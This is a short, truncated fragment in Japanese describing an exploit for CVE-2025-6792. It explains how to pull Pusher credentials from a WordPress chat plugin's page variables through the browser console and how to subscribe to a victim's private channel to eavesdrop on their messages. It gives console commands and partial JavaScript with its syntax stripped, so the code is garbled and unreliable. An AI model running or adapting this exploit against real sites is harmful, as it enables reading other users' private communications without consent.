CVE-2025-6792

エクスプロイト: 不正なPusherチャンネル購読 盗聴 1 Pusher認証情報の取得 ブラウザコンソールから console.log window.wpguppyscriptsvars.pusherKey, window.wpguppyscriptsvars.pusherCluster ; 2 被害者のプライベートチャンネルを購読 Pusher Eavesdrop Test Listening on private-user-5 const log = msg = const p = document.createElement'div'; p.textContent = msg;...